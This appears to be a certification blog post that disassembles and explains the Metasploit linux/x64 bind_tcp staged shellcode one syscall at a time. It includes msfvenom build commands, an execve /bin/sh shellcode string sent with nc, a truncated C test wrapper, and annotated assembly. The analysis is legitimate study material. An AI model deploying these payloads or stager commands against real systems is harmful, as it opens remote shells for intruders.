Analysis of Metasploit linux/x64/shell/bind_tcp shellcode

linux/x64/shell/bind_tcp staged shellcode generally consists of following steps

  • Create listening port and wait for connection
  • Map 4096 bytes in process’ VAS memory
  • Wait for incoming data and save them into mapped memory
  • Execute saved data

Shellcode demonstration

Create elf64 executable with msfvenom

$ msfvenom -p linux/x64/shell/bind_tcp -f elf -a x64 --platform linux LPORT=1234 -o staged_bind_tcp_x64

Execute the stager

$ chmod a+x staged_bind_tcp_x64
$ ./staged_bind_tcp_x64

Send arbitrary shellcode to a socket which was opened by the stager. This shellcode will be executed in the stager process. In this example execve /bin/sh shellcode is used.

echo -ne "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05" | nc 1234

The stager executes /bin/sh

$ ./staged_bind_tcp_x64 
$ whoami

Shellcode overview

Let’s generate the staged shellcode with msfvenom and output it in C format

$ msfvenom -p linux/x64/shell/bind_tcp -f c -a x64 --platform linux LPORT=1234

and insert it into C testing wrapper

// shellcode.c
// shellcode testing wrapper


// msfvenom -p linux/x64/shell/bind_tcp -f c -a x64 --platform linux LPORT=1234
unsigned char code[] = \

        printf("Shellcode Length:  %zd\n", strlen(code));
        int (*CodeFun)() = (int(*)())code;

Compile it without buffer overflow stack protection and allow executable stack with -z flag which is passed to the linker

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Now let’s disassemble the shellcode using gdb

$ gdb shellcode
(gdb) break *&code
(gdb) r
(gdb) disas
=>  0x0000000000601040 <+0>:     push   0x29
    0x0000000000601042 <+2>:     pop    rax
    0x0000000000601043 <+3>:     cdq    
    0x0000000000601044 <+4>:     push   0x2
    0x0000000000601046 <+6>:     pop    rdi
    0x0000000000601047 <+7>:     push   0x1
    0x0000000000601049 <+9>:     pop    rsi
    0x000000000060104a <+10>:    syscall 
    0x000000000060104c <+12>:    xchg   rdi,rax
    0x000000000060104e <+14>:    push   rdx
    0x000000000060104f <+15>:    mov    DWORD PTR [rsp],0xd2040002
    0x0000000000601056 <+22>:    mov    rsi,rsp
    0x0000000000601059 <+25>:    push   0x10
    0x000000000060105b <+27>:    pop    rdx
    0x000000000060105c <+28>:    push   0x31
    0x000000000060105e <+30>:    pop    rax
    0x000000000060105f <+31>:    syscall 
    0x0000000000601061 <+33>:    pop    rcx
    0x0000000000601062 <+34>:    push   0x32
    0x0000000000601064 <+36>:    pop    rax
    0x0000000000601065 <+37>:    syscall 
    0x0000000000601067 <+39>:    xchg   rsi,rax
    0x0000000000601069 <+41>:    push   0x2b
    0x000000000060106b <+43>:    pop    rax
    0x000000000060106c <+44>:    syscall 
    0x000000000060106e <+46>:    push   rax
    0x000000000060106f <+47>:    push   rsi
    0x0000000000601070 <+48>:    pop    rdi
    0x0000000000601071 <+49>:    push   0x9
    0x0000000000601073 <+51>:    pop    rax
    0x0000000000601074 <+52>:    cdq    
    0x0000000000601075 <+53>:    mov    dh,0x10
    0x0000000000601077 <+55>:    mov    rsi,rdx
    0x000000000060107a <+58>:    xor    r9,r9
    0x000000000060107d <+61>:    push   0x22
    0x000000000060107f <+63>:    pop    r10
    0x0000000000601081 <+65>:    mov    dl,0x7
    0x0000000000601083 <+67>:    syscall 
    0x0000000000601085 <+69>:    xchg   rsi,rax
    0x0000000000601087 <+71>:    xchg   rdi,rax
    0x0000000000601089 <+73>:    pop    rdi
    0x000000000060108a <+74>:    syscall 
    0x000000000060108c <+76>:    jmp    rsi
    0x000000000060108e <+78>:    add    BYTE PTR [rax],al

We have 6 system calls in the shellcode so we analyze them in-depth one by one.

Create listening port and wait for connection

push   0x29         ; syscall number 41, int socket(int domain, int type, int protocol)
pop    rax
cdq                 ; zeroing RDX via EAX sign extension
push   0x2          ; int domain = 2
pop    rdi
push   0x1          ; int type = 1
pop    rsi
syscall             ; invoke system call socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
xchg   rdi, rax     ; save returned file descriptor

First assembly stub creates endpoint for communication and returns new file descriptor for the socket. Protocol family which is used for communication is set to PF_INET which stands for IPv4 Internet protocols. type argument specifies communication semantics and is set to SOCK_STREAM which provides sequenced, reliable, two-way, connection-based byte streams. Returned file descriptor is saved into RDI for later use.

push   rdx          ; push 0x0000000000000000, contains IP aka all interfaces
mov    DWORD PTR [rsp], 0xd2040002 ; pushes AF_INET and big endian port number 1234
mov    rsi, rsp
;;; stack content, low to high mem ;;;
0x02    0x00    0x04    0xd2    0x00    0x00    0x00    0x00
;;; stack content, low to high mem ;;;
push   0x10         ; socklen_t addrlen = 16
pop    rdx
push   0x31         ; syscall number 49, int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
pop    rax
syscall             ; invoke system call bind(fd_num, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("")}, 16)

The above assembly stub binds a name to the socket. In other words bind() call setups particular socket bound with specific file descriptor. IP and port are passed via sockaddr structure which is represented by data in the stack. Last argument to bind() call is size of sockaddr structure. RAX is zeroed if bind() is executed successfully.

pop    rcx          ; pops port number into rcx (not used)
push   0x32         ; syscall number 50, int listen(int sockfd, int backlog)
pop    rax
syscall             ; invoke system call listen(fd_num, pointer_to_sockaddr), (RSI can be random uint)

Next the socket is marked as passive with listen() call. RAX is zeroed on successful listen() execution.

xchg   rsi, rax     ; zeroing rsi
push   0x2b         ; syscall number 43, int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
pop    rax
syscall             ; invoke system call accept(fd_num, pointer_to_sockaddr, 16)

Accept() call accepts connection on the socket passed by file descriptor in first argument and extracts this new connection to the new socket. Old listening socket is unaffected and new connected socket file descriptor is returned.

Wait for incoming data, map memory and save them into mapped memory

push   rax          ; push 8
push   rsi          ; push 0x0000000000000000
pop    rdi          ; void *addr = 0
push   0x9          ; syscall number 9, void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
pop    rax
cdq                 ; rdx = 0
mov    dh, 0x10     ; int prot = 0x1000
mov    rsi, rdx     ; size_t length = 0x1000
xor    r9, r9       ; r9 = 0
push   0x22         ; int flags = 0x22
pop    r10
mov    dl, 0x7      ; int prot = 0x7
syscall             ; invoke system call *mmap(0, 0x1000, 0x1007, 0x22, random_address, 0)
                     ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, -1558351851, 0)

xchg   rsi, rax     ; save pointer to mapped area to rsi
xchg   rdi, rax     ; zeroing rax
pop    rdi          ; rdi = 8
syscall             ; invoke system call 0, ssize_t read(int fd, void *buf, size_t count)
                     ; read(fd_num_from_accept(), pointer_to_mapped_area, 0x1007)

mmap() system call is invoked which creates new VAS <-> Physical memory mapping. Starting address for new mapping is selected automatically by kernel if NULL is passed in *addr argument. 4096 bytes (1 page) is mapped. prot argument specifies that data in mapped pages can be read, written and executed. flags argument specifies that updates to the mapping are not visible to other processes mapping the same file and that the mapping is not backed by any file; its contents are initialized to zero. fd and offset arguments are ignored due to the MAP_ANONYMOUS flag set.

read() call reads 4103 bytes from the socket and saves them to previously mapped memory.

Execute saved data

jmp    rsi          ; after read() point RIP to read data

Load RIP with RSI content which points to read data thus effectively execute them.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE64 – 1629

Leave a Reply